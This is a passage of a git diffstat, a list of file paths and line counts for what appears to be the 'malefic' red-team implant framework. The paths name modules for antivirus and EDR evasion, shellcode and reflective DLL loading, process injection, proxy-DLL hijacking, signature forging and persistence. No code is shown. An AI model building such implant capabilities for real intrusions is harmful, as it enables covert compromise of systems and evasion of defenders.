.../src/nim/nanopb/pb_common.h | 49 + .../src/nim/nanopb/pb_decode.c | 1728 + .../src/nim/nanopb/pb_decode.h | 204 + .../src/nim/nanopb/pb_encode.c | 1001 + .../src/nim/nanopb/pb_encode.h | 195 + .../malefic-3rd-rust/Cargo.toml | 11 + .../malefic-3rd-rust/README.md | 61 + .../malefic-3rd-rust/src/lib.rs | 20 + .../malefic-3rd-zig/Cargo.toml | 16 + .../malefic-3rd-zig/README.md | 102 + malefic-3rd-template/malefic-3rd-zig/build.rs | 54 + .../malefic-3rd-zig/src/lib.rs | 30 + .../src/zig/example/example.zig | 60 + .../src/zig/malefic/module.options | 229 + .../src/zig/malefic/module.pb.c | 249 + .../src/zig/malefic/module.pb.h | 1857 + .../src/zig/malefic/module.proto | 483 + .../malefic-3rd-zig/src/zig/nanopb/pb.h | 922 + .../src/zig/nanopb/pb_common.c | 388 + .../src/zig/nanopb/pb_common.h | 49 + .../src/zig/nanopb/pb_decode.c | 1728 + .../src/zig/nanopb/pb_decode.h | 204 + .../src/zig/nanopb/pb_encode.c | 1001 + .../src/zig/nanopb/pb_encode.h | 195 + malefic-3rd-template/src/lib.rs | 161 + malefic-3rd/Cargo.toml | 45 + malefic-3rd/src/curl/mod.rs | 44 + malefic-3rd/src/lib.rs | 38 + malefic-3rd/src/prelude.rs | 14 + malefic-3rd/src/pty/mod.rs | 1182 + malefic-3rd/src/rem/mod.rs | 137 + malefic-crates/autorun/Cargo.toml | 21 + malefic-crates/autorun/README.md | 76 + malefic-crates/autorun/src/autorun.rs | 210 + malefic-crates/autorun/src/lib.rs | 62 + malefic-crates/codec/Cargo.toml | 41 + malefic-crates/codec/README.md | 92 + malefic-crates/codec/src/aes.rs | 90 + malefic-crates/codec/src/aes2.rs | 13 + malefic-crates/codec/src/base45.rs | 76 + malefic-crates/codec/src/base58.rs | 97 + malefic-crates/codec/src/base64.rs | 92 + malefic-crates/codec/src/chacha.rs | 45 + malefic-crates/codec/src/des.rs | 100 + malefic-crates/codec/src/ipv4.rs | 47 + malefic-crates/codec/src/lib.rs | 44 + malefic-crates/codec/src/mac.rs | 50 + malefic-crates/codec/src/rc4.rs | 53 + malefic-crates/codec/src/uuid.rs | 70 + malefic-crates/codec/src/xor.rs | 21 + malefic-crates/common/Cargo.toml | 35 + malefic-crates/common/README.md | 90 + malefic-crates/common/src/errors.rs | 271 + malefic-crates/common/src/getrandom_compat.rs | 17 + malefic-crates/common/src/lib.rs | 184 + malefic-crates/common/src/random.rs | 55 + malefic-crates/common/src/tinyserde.rs | 403 + malefic-crates/common/src/utils.rs | 107 + malefic-crates/config/Cargo.toml | 14 + malefic-crates/config/README.md | 75 + malefic-crates/config/src/config.rs | 330 + malefic-crates/config/src/lib.rs | 123 + malefic-crates/config/src/runtime.rs | 915 + malefic-crates/cron/Cargo.toml | 9 + malefic-crates/cron/README.md | 76 + malefic-crates/cron/src/lib.rs | 78 + malefic-crates/crypto/Cargo.toml | 23 + malefic-crates/crypto/README.md | 83 + malefic-crates/crypto/src/compress/mod.rs | 16 + malefic-crates/crypto/src/crypto/aes.rs | 66 + malefic-crates/crypto/src/crypto/age.rs | 192 + malefic-crates/crypto/src/crypto/chacha20.rs | 59 + malefic-crates/crypto/src/crypto/mod.rs | 92 + malefic-crates/crypto/src/crypto/xor.rs | 66 + malefic-crates/crypto/src/lib.rs | 2 + malefic-crates/dga/Cargo.toml | 12 + malefic-crates/dga/README.md | 71 + malefic-crates/dga/src/algorithm.rs | 63 + malefic-crates/dga/src/generator.rs | 112 + malefic-crates/dga/src/lib.rs | 97 + malefic-crates/evader/Cargo.toml | 42 + malefic-crates/evader/src/anti_emu.rs | 292 + malefic-crates/evader/src/anti_forensic.rs | 93 + malefic-crates/evader/src/api_untangle.rs | 412 + malefic-crates/evader/src/cfg_patch.rs | 157 + malefic-crates/evader/src/etw_pass.rs | 238 + malefic-crates/evader/src/god_speed.rs | 130 + malefic-crates/evader/src/lib.rs | 122 + malefic-crates/evader/src/normal_api.rs | 162 + malefic-crates/evader/src/sandbox.rs | 491 + malefic-crates/evader/src/sleep_encrypt.rs | 244 + malefic-crates/evader/src/types.rs | 243 + malefic-crates/evader/src/vm.rs | 235 + malefic-crates/features/Cargo.toml | 36 + malefic-crates/features/src/lib.rs | 3 + malefic-crates/gateway/Cargo.toml | 18 + malefic-crates/gateway/src/lib.rs | 34 + malefic-crates/gateway/src/runtime.rs | 47 + malefic-crates/gateway/src/traits.rs | 19 + malefic-crates/guardrail/Cargo.toml | 9 + malefic-crates/guardrail/README.md | 70 + malefic-crates/guardrail/src/lib.rs | 83 + malefic-crates/loader/Cargo.toml | 33 + malefic-crates/loader/README.md | 97 + malefic-crates/loader/examples/test_inject.rs | 189 + malefic-crates/loader/src/hot_modules.rs | 121 + malefic-crates/loader/src/lib.rs | 7 + malefic-crates/loader/src/linux/memfd.rs | 101 + malefic-crates/loader/src/linux/mod.rs | 9 + malefic-crates/loader/src/linux/pthread.rs | 44 + malefic-crates/loader/src/linux/spawn.rs | 53 + malefic-crates/loader/src/memory.rs | 186 + malefic-crates/loader/src/win/apc/mod.rs | 52 + malefic-crates/loader/src/win/fiber/mod.rs | 47 + malefic-crates/loader/src/win/mod.rs | 14 + malefic-crates/loader/src/win/thread/mod.rs | 41 + malefic-crates/macro/Cargo.toml | 42 + malefic-crates/macro/README.md | 113 + malefic-crates/macro/src/lazy_static_impl.rs | 101 + malefic-crates/macro/src/lib.rs | 435 + malefic-crates/macro/src/obf/lazy_static.rs | 393 + malefic-crates/macro/src/obf/mod.rs | 6 + malefic-crates/macro/src/obf/obf_debug.rs | 156 + malefic-crates/macro/src/obf/util.rs | 327 + malefic-crates/manager/Cargo.toml | 24 + malefic-crates/manager/README.md | 70 + malefic-crates/manager/src/addons.rs | 78 + malefic-crates/manager/src/internal.rs | 85 + malefic-crates/manager/src/lib.rs | 3 + malefic-crates/manager/src/manager.rs | 353 + malefic-crates/module/Cargo.toml | 19 + malefic-crates/module/README.md | 92 + malefic-crates/module/src/abi.rs | 116 + malefic-crates/module/src/codec.rs | 30 + malefic-crates/module/src/ffi.rs | 176 + malefic-crates/module/src/lib.rs | 142 + malefic-crates/module/src/macro.rs | 81 + malefic-crates/module/src/module_sdk.rs | 351 + malefic-crates/module/src/prelude.rs | 8 + malefic-crates/net/Cargo.toml | 23 + malefic-crates/net/README.md | 96 + .../net/src/darwin/libproc_bindings.rs | 382 + malefic-crates/net/src/darwin/mod.rs | 70 + malefic-crates/net/src/darwin/socket.rs | 174 + malefic-crates/net/src/darwin/sysctl.rs | 317 + malefic-crates/net/src/lib.rs | 53 + malefic-crates/net/src/linux/mod.rs | 134 + malefic-crates/net/src/linux/netlink.rs | 496 + malefic-crates/net/src/linux/procfs.rs | 274 + malefic-crates/net/src/linux/socket.rs | 79 + malefic-crates/net/src/win/mod.rs | 346 + malefic-crates/process/Cargo.toml | 32 + malefic-crates/process/README.md | 93 + malefic-crates/process/src/darwin/mod.rs | 342 + malefic-crates/process/src/exec.rs | 63 + malefic-crates/process/src/lib.rs | 129 + malefic-crates/process/src/linux/mod.rs | 110 + malefic-crates/process/src/win/mod.rs | 288 + malefic-crates/proto/Cargo.toml | 29 + malefic-crates/proto/README.md | 93 + malefic-crates/proto/build.rs | 83 + malefic-crates/proto/src/lib.rs | 585 + malefic-crates/proto/src/proto/mod.rs | 2 + malefic-crates/proto/src/proto/modulepb.rs | 1429 + malefic-crates/rem/Cargo.toml | 16 + malefic-crates/rem/README.md | 74 + malefic-crates/rem/build.rs | 57 + malefic-crates/rem/csrc/rem_bridge.c | 145 + malefic-crates/rem/examples/test_dll.rs | 127 + malefic-crates/rem/src/lib.rs | 216 + malefic-crates/rem/src/rem_dynamic.rs | 110 + malefic-crates/rem/src/rem_static.rs | 22 + malefic-crates/runtime/Cargo.toml | 33 + malefic-crates/runtime/src/host.rs | 629 + malefic-crates/runtime/src/lib.rs | 25 + malefic-crates/scheduler/Cargo.toml | 19 + malefic-crates/scheduler/README.md | 104 + malefic-crates/scheduler/src/collector.rs | 282 + malefic-crates/scheduler/src/lib.rs | 243 + malefic-crates/scheduler/src/task.rs | 133 + malefic-crates/srdi/Cargo.toml | 47 + malefic-crates/srdi/src/lib.rs | 15 + malefic-crates/srdi/src/loader.rs | 1119 + malefic-crates/srdi/src/main.rs | 26 + malefic-crates/srdi/src/types.rs | 210 + malefic-crates/srdi/src/utils.rs | 450 + malefic-crates/stub/Cargo.toml | 46 + malefic-crates/stub/src/channel.rs | 14 + malefic-crates/stub/src/composition.rs | 18 + malefic-crates/stub/src/lib.rs | 5 + malefic-crates/stub/src/meta.rs | 270 + malefic-crates/stub/src/stub.rs | 722 + malefic-crates/stub/src/sys.rs | 73 + malefic-crates/sysinfo/Cargo.toml | 39 + malefic-crates/sysinfo/README.md | 87 + malefic-crates/sysinfo/src/darwin/domain.rs | 3 + malefic-crates/sysinfo/src/darwin/ipconfig.rs | 122 + malefic-crates/sysinfo/src/darwin/mod.rs | 3 + malefic-crates/sysinfo/src/darwin/whoami.rs | 253 + malefic-crates/sysinfo/src/filesys.rs | 138 + malefic-crates/sysinfo/src/lib.rs | 171 + malefic-crates/sysinfo/src/linux/domain.rs | 5 + malefic-crates/sysinfo/src/linux/ipconfig.rs | 136 + malefic-crates/sysinfo/src/linux/mod.rs | 3 + malefic-crates/sysinfo/src/linux/whoami.rs | 229 + malefic-crates/sysinfo/src/win/clr.rs | 3 + malefic-crates/sysinfo/src/win/domain.rs | 49 + malefic-crates/sysinfo/src/win/driver.rs | 99 + malefic-crates/sysinfo/src/win/ipconfig.rs | 121 + malefic-crates/sysinfo/src/win/mod.rs | 6 + malefic-crates/sysinfo/src/win/whoami.rs | 409 + malefic-crates/transport/Cargo.toml | 68 + malefic-crates/transport/README.md | 86 + malefic-crates/transport/src/connection.rs | 243 + malefic-crates/transport/src/http/mod.rs | 323 + malefic-crates/transport/src/lib.rs | 158 + malefic-crates/transport/src/proxie/error.rs | 120 + malefic-crates/transport/src/proxie/http.rs | 48 + malefic-crates/transport/src/proxie/mod.rs | 13 + malefic-crates/transport/src/proxie/proxy.rs | 119 + malefic-crates/transport/src/proxie/socks5.rs | 112 + malefic-crates/transport/src/proxie/target.rs | 96 + malefic-crates/transport/src/proxie/utils.rs | 86 + malefic-crates/transport/src/rem/mod.rs | 539 + malefic-crates/transport/src/runner.rs | 1067 + .../transport/src/server_manager.rs | 466 + malefic-crates/transport/src/session.rs | 196 + malefic-crates/transport/src/tcp/mod.rs | 345 + .../transport/src/tcp/native_tls.rs | 67 + malefic-crates/transport/src/tcp/tls.rs | 337 + malefic-crates/win/Cargo.toml | 69 + malefic-crates/win/README.md | 82 + malefic-crates/win/build.rs | 193 + malefic-crates/win/malefic_win_kit.h | 338 + malefic-crates/win/src/common/mod.rs | 56 + malefic-crates/win/src/detour/mod.rs | 43 + malefic-crates/win/src/kit/apis/mod.rs | 72 + malefic-crates/win/src/kit/binding/binding.rs | 747 + malefic-crates/win/src/kit/binding/mod.rs | 61 + malefic-crates/win/src/kit/bof/mod.rs | 25 + malefic-crates/win/src/kit/bypass/mod.rs | 159 + malefic-crates/win/src/kit/clr/mod.rs | 20 + malefic-crates/win/src/kit/hide/mod.rs | 5 + .../win/src/kit/inject/create_thread/mod.rs | 10 + malefic-crates/win/src/kit/inject/mod.rs | 5 + malefic-crates/win/src/kit/mod.rs | 23 + malefic-crates/win/src/kit/pe/inlinepe.rs | 32 + malefic-crates/win/src/kit/pe/mod.rs | 63 + .../win/src/kit/pe/reflective_loader.rs | 32 + malefic-crates/win/src/kit/pe/runpe.rs | 31 + malefic-crates/win/src/kit/pe/utils.rs | 57 + malefic-crates/win/src/kit/pwsh/mod.rs | 5 + malefic-crates/win/src/lib.rs | 22 + malefic-crates/win/src/pipe/mod.rs | 379 + malefic-crates/win/src/reg/mod.rs | 512 + malefic-crates/win/src/scheduler/mod.rs | 423 + malefic-crates/win/src/service/mod.rs | 520 + malefic-crates/win/src/sleep/allocator.rs | 63 + malefic-crates/win/src/sleep/config.rs | 258 + malefic-crates/win/src/sleep/hypnus.rs | 894 + malefic-crates/win/src/sleep/mod.rs | 41 + malefic-crates/win/src/sleep/types.rs | 425 + malefic-crates/win/src/sleep/winapis.rs | 552 + malefic-crates/win/src/token/mod.rs | 733 + malefic-crates/win/src/types/mod.rs | 2 + malefic-crates/win/src/wmi/connection.rs | 156 + malefic-crates/win/src/wmi/exec.rs | 73 + malefic-crates/win/src/wmi/mod.rs | 12 + malefic-crates/win/src/wmi/query.rs | 27 + .../win/src/wmi/result_enumerator.rs | 124 + malefic-crates/win/src/wmi/safearray.rs | 122 + malefic-crates/win/src/wmi/utils.rs | 59 + malefic-crates/win/src/wmi/variant.rs | 396 + malefic-modules/Cargo.toml | 159 + malefic-modules/src/execute/dllspawn.rs | 63 + malefic-modules/src/execute/exec.rs | 146 + malefic-modules/src/execute/execute_armory.rs | 116 + .../src/execute/execute_assembly.rs | 64 + malefic-modules/src/execute/execute_bof.rs | 46 + malefic-modules/src/execute/execute_dll.rs | 90 + malefic-modules/src/execute/execute_exe.rs | 92 + malefic-modules/src/execute/execute_local.rs | 55 + .../src/execute/execute_powershell.rs | 53 + .../src/execute/execute_shellcode.rs | 76 + malefic-modules/src/execute/inline_local.rs | 61 + malefic-modules/src/execute/mod.rs | 69 + malefic-modules/src/execute/open.rs | 42 + malefic-modules/src/fs/cat.rs | 32 + malefic-modules/src/fs/cd.rs | 31 + malefic-modules/src/fs/chmod.rs | 29 + malefic-modules/src/fs/chown.rs | 29 + malefic-modules/src/fs/cp.rs | 25 + malefic-modules/src/fs/driver.rs | 39 + malefic-modules/src/fs/ls.rs | 66 + malefic-modules/src/fs/mkdir.rs | 26 + malefic-modules/src/fs/mod.rs | 26 + malefic-modules/src/fs/mv.rs | 28 + malefic-modules/src/fs/pipe.rs | 513 + malefic-modules/src/fs/pwd.rs | 27 + malefic-modules/src/fs/rm.rs | 27 + malefic-modules/src/fs/touch.rs | 29 + malefic-modules/src/lib.rs | 270 + malefic-modules/src/net/download.rs | 269 + malefic-modules/src/net/mod.rs | 8 + malefic-modules/src/net/upload.rs | 53 + malefic-modules/src/prelude.rs | 16 + malefic-modules/src/sys/bypass.rs | 25 + malefic-modules/src/sys/env.rs | 78 + malefic-modules/src/sys/example.rs | 28 + malefic-modules/src/sys/info.rs | 51 + malefic-modules/src/sys/inject.rs | 30 + malefic-modules/src/sys/kill.rs | 26 + malefic-modules/src/sys/mod.rs | 43 + malefic-modules/src/sys/netstat.rs | 36 + malefic-modules/src/sys/ps.rs | 33 + malefic-modules/src/sys/reg.rs | 163 + malefic-modules/src/sys/self_dele.rs | 24 + malefic-modules/src/sys/service.rs | 205 + malefic-modules/src/sys/taskschd.rs | 180 + malefic-modules/src/sys/thread_spawn_test.rs | 51 + malefic-modules/src/sys/token.rs | 92 + malefic-modules/src/sys/whoami.rs | 24 + malefic-modules/src/sys/wmi.rs | 193 + malefic-mutant/Cargo.toml | 56 + malefic-mutant/README.md | 484 + malefic-mutant/build.rs | 139 + malefic-mutant/config_lint.json | 424 + malefic-mutant/src/build/mod.rs | 60 + malefic-mutant/src/build/payload/mod.rs | 316 + malefic-mutant/src/build/pulse/http.rs | 326 + malefic-mutant/src/build/pulse/mod.rs | 44 + malefic-mutant/src/build/pulse/tcp.rs | 225 + malefic-mutant/src/build/pulse/utils.rs | 14 + malefic-mutant/src/build/pulse/winhttp.rs | 379 + malefic-mutant/src/build/pulse/wininet.rs | 354 + malefic-mutant/src/cmd.rs | 674 + malefic-mutant/src/config/mod.rs | 850 + malefic-mutant/src/generate/cargo_features.rs | 158 + malefic-mutant/src/generate/codegen.rs | 996 + malefic-mutant/src/generate/features.rs | 481 + malefic-mutant/src/generate/mod.rs | 129 + malefic-mutant/src/generate/prelude.rs | 279 + malefic-mutant/src/generate/resources.rs | 148 + malefic-mutant/src/generate/spites.rs | 114 + malefic-mutant/src/logger.rs | 91 + malefic-mutant/src/main.rs | 1827 + malefic-mutant/src/tool/binder/embed.rs | 110 + malefic-mutant/src/tool/binder/metadata.rs | 53 + malefic-mutant/src/tool/binder/mod.rs | 9 + malefic-mutant/src/tool/encoder/aes2.rs | 15 + malefic-mutant/src/tool/encoder/aes_enc.rs | 12 + malefic-mutant/src/tool/encoder/base45.rs | 12 + malefic-mutant/src/tool/encoder/base58.rs | 12 + malefic-mutant/src/tool/encoder/base64_enc.rs | 12 + malefic-mutant/src/tool/encoder/chacha.rs | 12 + malefic-mutant/src/tool/encoder/des_enc.rs | 12 + malefic-mutant/src/tool/encoder/ipv4.rs | 12 + malefic-mutant/src/tool/encoder/mac.rs | 12 + malefic-mutant/src/tool/encoder/mod.rs | 257 + malefic-mutant/src/tool/encoder/rc4.rs | 12 + malefic-mutant/src/tool/encoder/uuid.rs | 12 + malefic-mutant/src/tool/encoder/xor.rs | 12 + malefic-mutant/src/tool/entropy/calculator.rs | 69 + malefic-mutant/src/tool/entropy/mod.rs | 5 + malefic-mutant/src/tool/entropy/reducer.rs | 424 + malefic-mutant/src/tool/icon/ico_parser.rs | 180 + malefic-mutant/src/tool/icon/mod.rs | 7 + malefic-mutant/src/tool/icon/replace.rs | 298 + malefic-mutant/src/tool/icon/resource.rs | 262 + malefic-mutant/src/tool/loader/bdf/evasion.rs | 383 + malefic-mutant/src/tool/loader/bdf/mod.rs | 44 + malefic-mutant/src/tool/loader/bdf/pe.rs | 230 + .../src/tool/loader/bdf/resolver.rs | 392 + malefic-mutant/src/tool/loader/mod.rs | 29 + malefic-mutant/src/tool/loader/patch.rs | 101 + .../src/tool/loader/proxydll_loader.rs | 56 + malefic-mutant/src/tool/loader/template.rs | 248 + malefic-mutant/src/tool/mod.rs | 12 + malefic-mutant/src/tool/patch.rs | 439 + malefic-mutant/src/tool/pe/mod.rs | 6 + malefic-mutant/src/tool/pe/objcopy.rs | 53 + malefic-mutant/src/tool/pe/parser.rs | 215 + malefic-mutant/src/tool/pe/structures.rs | 113 + malefic-mutant/src/tool/proxydll/generator.rs | 420 + malefic-mutant/src/tool/proxydll/mod.rs | 131 + malefic-mutant/src/tool/proxydll/packer.rs | 213 + .../src/tool/sigforge/carbon_copy.rs | 204 + malefic-mutant/src/tool/sigforge/error.rs | 27 + malefic-mutant/src/tool/sigforge/extract.rs | 53 + malefic-mutant/src/tool/sigforge/inject.rs | 80 + malefic-mutant/src/tool/sigforge/mod.rs | 10 + malefic-mutant/src/tool/sigforge/remove.rs | 41 + malefic-mutant/src/tool/srdi/link_srdi.rs | 199 + malefic-mutant/src/tool/srdi/malefic_srdi.rs | 156 + malefic-mutant/src/tool/srdi/mod.rs | 59 + malefic-mutant/src/tool/srdi/shellcode.rs | 1747 + malefic-mutant/src/tool/srdi/utils.rs | 26 + malefic-mutant/src/tool/strip/mod.rs | 66 + malefic-mutant/src/tool/watermark/methods.rs | 387 + malefic-mutant/src/tool/watermark/mod.rs | 3 + malefic-prelude/Cargo.toml | 15 + malefic-prelude/build.rs | 26 + malefic-prelude/src/main.rs | 6 + malefic-proxydll/Cargo.toml | 26 + malefic-proxydll/README.md | 77 + malefic-proxydll/build.rs | 25 + malefic-proxydll/proxy.def | 224 + malefic-proxydll/src/lib.rs | 0 malefic-proxydll/src/payload.rs | 57 + malefic-pulse/Cargo.toml | 24 + malefic-pulse/Linker32.ld | 25 + malefic-pulse/Linker64.ld | 25 + malefic-pulse/build.rs | 48 + malefic-pulse/scripts/linker.ld | 28 + malefic-pulse/src/constants.rs | 35 + malefic-pulse/src/hash.rs | 70 + malefic-pulse/src/instance.rs | 469 + malefic-pulse/src/lib.rs | 135 + malefic-pulse/src/main.rs | 10 + malefic-pulse/src/memory.rs | 96 + malefic-pulse/src/resolve.rs | 80 + malefic-pulse/src/template/instance_template | 225 + .../src/template/x64_common_template | 26 + .../src/template/x86_common_template | 24 + malefic-pulse/src/windows.rs | 347 + malefic-starship/Cargo.lock | 1654 + malefic-starship/Cargo.toml | 81 + malefic-starship/README.md | 93 + malefic-starship/asm/direct_syscall.asm | 35 + malefic-starship/asm/edr_syscall_1.asm | 52 + malefic-starship/asm/edr_syscall_2.asm | 72 + malefic-starship/asm/indirect_syscall.asm | 31 + malefic-starship/asm/woodpecker_assm.asm | 71 + malefic-starship/src/decoder/mod.rs | 38 + malefic-starship/src/launch.rs | 392 + malefic-starship/src/lib.rs | 77 + .../src/loaders/basic_template.rs | 10 + malefic-starship/src/loaders/common.rs | 137 + malefic-starship/src/loaders/func_ptr.rs | 52 + malefic-starship/src/loaders/mod.rs | 25 + malefic-starship/src/main.rs | 70 + malefic-starship/src/obf.rs | 8 + malefic-starship/src/types.rs | 404 + malefic/Cargo.toml | 89 + malefic/build.rs | 78 + malefic/src/beacon.rs | 534 + malefic/src/bind.rs | 139 + malefic/src/bootstrap.rs | 41 + malefic/src/lib.rs | 91 + malefic/src/main.rs | 32 + malefic/src/session_loop.rs | 792 + prelude.yaml | 6 + profiles/README.md | 27 + profiles/malefic-http/implant.yaml | 126 + profiles/malefic-https/implant.yaml | 126 + profiles/malefic-mini-modules/implant.yaml | 118 + profiles/malefic-nano-modules/implant.yaml | 118 + profiles/malefic-rem/implant.yaml | 118 + profiles/malefic-tcp-tls/implant.yaml | 122 + profiles/malefic-tcp/implant.yaml | 118 + profiles/malefic-with-prelude/implant.yaml | 135 + profiles/malefic-with-prelude/prelude.yaml | 9 + .../resources/persist_with_reg.x64.o | Bin 0 -> 3006 bytes profiles/prelude-shellcode/implant.yaml | 118 + profiles/prelude-shellcode/prelude.yaml | 6 + .../prelude-shellcode/resources/shellcode.bin | 1 + profiles/pulse-tcp/implant.yaml | 116 + profiles/pulse-winhttp-http/implant.yaml | 124 + profiles/pulse-winhttp-https/implant.yaml | 124 + profiles/pulse-wininet-http/implant.yaml | 124 + profiles/pulse-wininet-https/implant.yaml | 124 + proto | 1 + resources/YY-Thunks-Objs/Readme.md | 180 + resources/YY-Thunks-Objs/ThunksList.md | 898 + .../objs/x64/YY_Thunks_for_WinXP.obj | Bin 0 -> 5347481 bytes .../objs/x86/YY_Thunks_for_WinXP.obj | Bin 0 -> 5080453 bytes resources/malefic.rc | 30 + resources/spite.bin | 0 1081 files changed, 230583 insertions(+) create mode 100644 .cargo/config.toml create mode 100644 .github/workflows/check.yaml create mode 100644 .github/workflows/generate.yaml create mode 100644 .github/workflows/release.yml create mode 100644 .github/workflows/runtime-integration.yaml create mode 100644 .github/workflows/test.yaml create mode 100644 .github/workflows/test_local.yaml create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 README.md create mode 100644 examples/ffi/README.md create mode 100644 examples/ffi/c/README.md create mode 100644 examples/ffi/c/runpe_test.c create mode 100644 examples/ffi/csharp/README.md create mode 100644 examples/ffi/csharp/RunPETest.cs create mode 100644 examples/ffi/go/README.md create mode 100644 examples/ffi/go/runpe_example.go create mode 100644 examples/ffi/malefic-win-kit.h create mode 100644 examples/ffi/python/README.md create mode 100644 examples/ffi/python/runpe_test.py create mode 100644 examples/ffi/rust/Cargo.lock create mode 100644 examples/ffi/rust/Cargo.toml create mode 100644 examples/ffi/rust/README.md create mode 100644 examples/ffi/rust/runpe_example.rs create mode 100644 examples/starship/Cargo.toml create mode 100644 examples/starship/README.md create mode 100644 examples/starship/starship_example.rs create mode 100644 implant.yaml create mode 100644 lib/libudis86-sys/Cargo.toml create mode 100644 lib/libudis86-sys/README.md create mode 100644 lib/libudis86-sys/build.rs create mode 100644 lib/libudis86-sys/libudis86/decode.c create mode 100644 lib/libudis86-sys/libudis86/decode.h create mode 100644 lib/libudis86-sys/libudis86/extern.h create mode 100644 lib/libudis86-sys/libudis86/itab.c create mode 100644 lib/libudis86-sys/libudis86/itab.h create mode 100644 lib/libudis86-sys/libudis86/syn-att.c create mode 100644 lib/libudis86-sys/libudis86/syn-intel.c create mode 100644 lib/libudis86-sys/libudis86/syn.c create mode 100644 lib/libudis86-sys/libudis86/syn.h create mode 100644 lib/libudis86-sys/libudis86/types.h create mode 100644 lib/libudis86-sys/libudis86/udint.h create mode 100644 lib/libudis86-sys/libudis86/udis86.c create mode 100644 lib/libudis86-sys/src/api.rs create mode 100644 lib/libudis86-sys/src/itab.rs create mode 100644 lib/libudis86-sys/src/lib.rs create mode 100644 lib/libudis86-sys/src/types.rs create mode 100644 lib/malio/async-channel/.github/dependabot.yml create mode 100644 lib/malio/async-channel/.github/workflows/ci.yml create mode 100644 lib/malio/async-channel/.github/workflows/release.yml create mode 100644 lib/malio/async-channel/.gitignore create mode 100644 lib/malio/async-channel/CHANGELOG.md create mode 100644 lib/malio/async-channel/Cargo.toml create mode 100644 lib/malio/async-channel/LICENSE-APACHE create mode 100644 lib/malio/async-channel/LICENSE-MIT create mode 100644 lib/malio/async-channel/README.md create mode 100644 lib/malio/async-channel/src/lib.rs create mode 100644 lib/malio/async-channel/tests/bounded.rs create mode 100644 lib/malio/async-channel/tests/unbounded.rs create mode 100644 lib/malio/async-executor/.github/dependabot.yml create mode 100644 lib/malio/async-executor/.github/workflows/ci.yml create mode 100644 lib/malio/async-executor/.github/workflows/release.yml create mode 100644 lib/malio/async-executor/.gitignore create mode 100644 lib/malio/async-executor/CHANGELOG.md create mode 100644 lib/malio/async-executor/Cargo.toml create mode 100644 lib/malio/async-executor/LICENSE-APACHE create mode 100644 lib/malio/async-executor/LICENSE-MIT create mode 100644 lib/malio/async-executor/README.md create mode 100644 lib/malio/async-executor/benches/executor.rs create mode 100644 lib/malio/async-executor/examples/limit.rs create mode 100644 lib/malio/async-executor/examples/priority.rs create mode 100644 lib/malio/async-executor/src/lib.rs create mode 100644 lib/malio/async-executor/src/static_executors.rs create mode 100644 lib/malio/async-executor/tests/different_executors.rs create mode 100644 lib/malio/async-executor/tests/drop.rs create mode 100644 lib/malio/async-executor/tests/larger_tasks.rs create mode 100644 lib/malio/async-executor/tests/local_queue.rs create mode 100644 lib/malio/async-executor/tests/panic_prop.rs create mode 100644 lib/malio/async-executor/tests/spawn_many.rs create mode 100644 lib/malio/async-fs/.github/dependabot.yml create mode 100644 lib/malio/async-fs/.github/workflows/ci.yml create mode 100644 lib/malio/async-fs/.github/workflows/release.yml create mode 100644 lib/malio/async-fs/.gitignore create mode 100644 lib/malio/async-fs/CHANGELOG.md create mode 100644 lib/malio/async-fs/Cargo.toml create mode 100644 lib/malio/async-fs/LICENSE-APACHE create mode 100644 lib/malio/async-fs/LICENSE-MIT create mode 100644 lib/malio/async-fs/README.md create mode 100644 lib/malio/async-fs/src/lib.rs create mode 100644 lib/malio/async-io/.cirrus.yml create mode 100644 lib/malio/async-io/.github/dependabot.yml create mode 100644 lib/malio/async-io/.github/workflows/ci.yml create mode 100644 lib/malio/async-io/.github/workflows/release.yml create mode 100644 lib/malio/async-io/.gitignore create mode 100644 lib/malio/async-io/CHANGELOG.md create mode 100644 lib/malio/async-io/Cargo.toml create mode 100644 lib/malio/async-io/LICENSE-APACHE create mode 100644 lib/malio/async-io/LICENSE-MIT create mode 100644 lib/malio/async-io/README.md create mode 100644 lib/malio/async-io/benches/io.rs create mode 100644 lib/malio/async-io/benches/timer.rs create mode 100644 lib/malio/async-io/build.rs create mode 100644 lib/malio/async-io/examples/kqueue-process.rs create mode 100644 lib/malio/async-io/examples/linux-inotify.rs create mode 100644 lib/malio/async-io/examples/linux-timerfd.rs create mode 100644 lib/malio/async-io/examples/unix-signal.rs create mode 100644 lib/malio/async-io/examples/windows-command.rs create mode 100644 lib/malio/async-io/examples/windows-uds.rs create mode 100644 lib/malio/async-io/src/driver.rs create mode 100644 lib/malio/async-io/src/lib.rs create mode 100644 lib/malio/async-io/src/os.rs create mode 100644 lib/malio/async-io/src/os/kqueue.rs create mode 100644 lib/malio/async-io/src/os/unix.rs create mode 100644 lib/malio/async-io/src/os/windows.rs create mode 100644 lib/malio/async-io/src/reactor.rs create mode 100644 lib/malio/async-io/src/reactor/kqueue.rs create mode 100644 lib/malio/async-io/src/reactor/unix.rs create mode 100644 lib/malio/async-io/src/reactor/windows.rs create mode 100644 lib/malio/async-io/tests/async.rs create mode 100644 lib/malio/async-io/tests/block_on.rs create mode 100644 lib/malio/async-io/tests/issue_182.rs create mode 100644 lib/malio/async-io/tests/timer.rs create mode 100644 lib/malio/async-net/.github/dependabot.yml create mode 100644 lib/malio/async-net/.github/workflows/ci.yml create mode 100644 lib/malio/async-net/.github/workflows/release.yml create mode 100644 lib/malio/async-net/.gitignore create mode 100644 lib/malio/async-net/CHANGELOG.md create mode 100644 lib/malio/async-net/Cargo.toml create mode 100644 lib/malio/async-net/LICENSE-APACHE create mode 100644 lib/malio/async-net/LICENSE-MIT create mode 100644 lib/malio/async-net/README.md create mode 100644 lib/malio/async-net/src/addr.rs create mode 100644 lib/malio/async-net/src/lib.rs create mode 100644 lib/malio/async-net/src/tcp.rs create mode 100644 lib/malio/async-net/src/udp.rs create mode 100644 lib/malio/async-net/src/unix.rs create mode 100644 lib/malio/async-process/.github/dependabot.yml create mode 100644 lib/malio/async-process/.github/workflows/ci.yml create mode 100644 lib/malio/async-process/.github/workflows/release.yml create mode 100644 lib/malio/async-process/.gitignore create mode 100644 lib/malio/async-process/CHANGELOG.md create mode 100644 lib/malio/async-process/Cargo.toml create mode 100644 lib/malio/async-process/LICENSE-APACHE create mode 100644 lib/malio/async-process/LICENSE-MIT create mode 100644 lib/malio/async-process/README.md create mode 100644 lib/malio/async-process/examples/timeout.rs create mode 100644 lib/malio/async-process/src/lib.rs create mode 100644 lib/malio/async-process/src/reaper/mod.rs create mode 100644 lib/malio/async-process/src/reaper/signal.rs create mode 100644 lib/malio/async-process/src/reaper/wait.rs create mode 100644 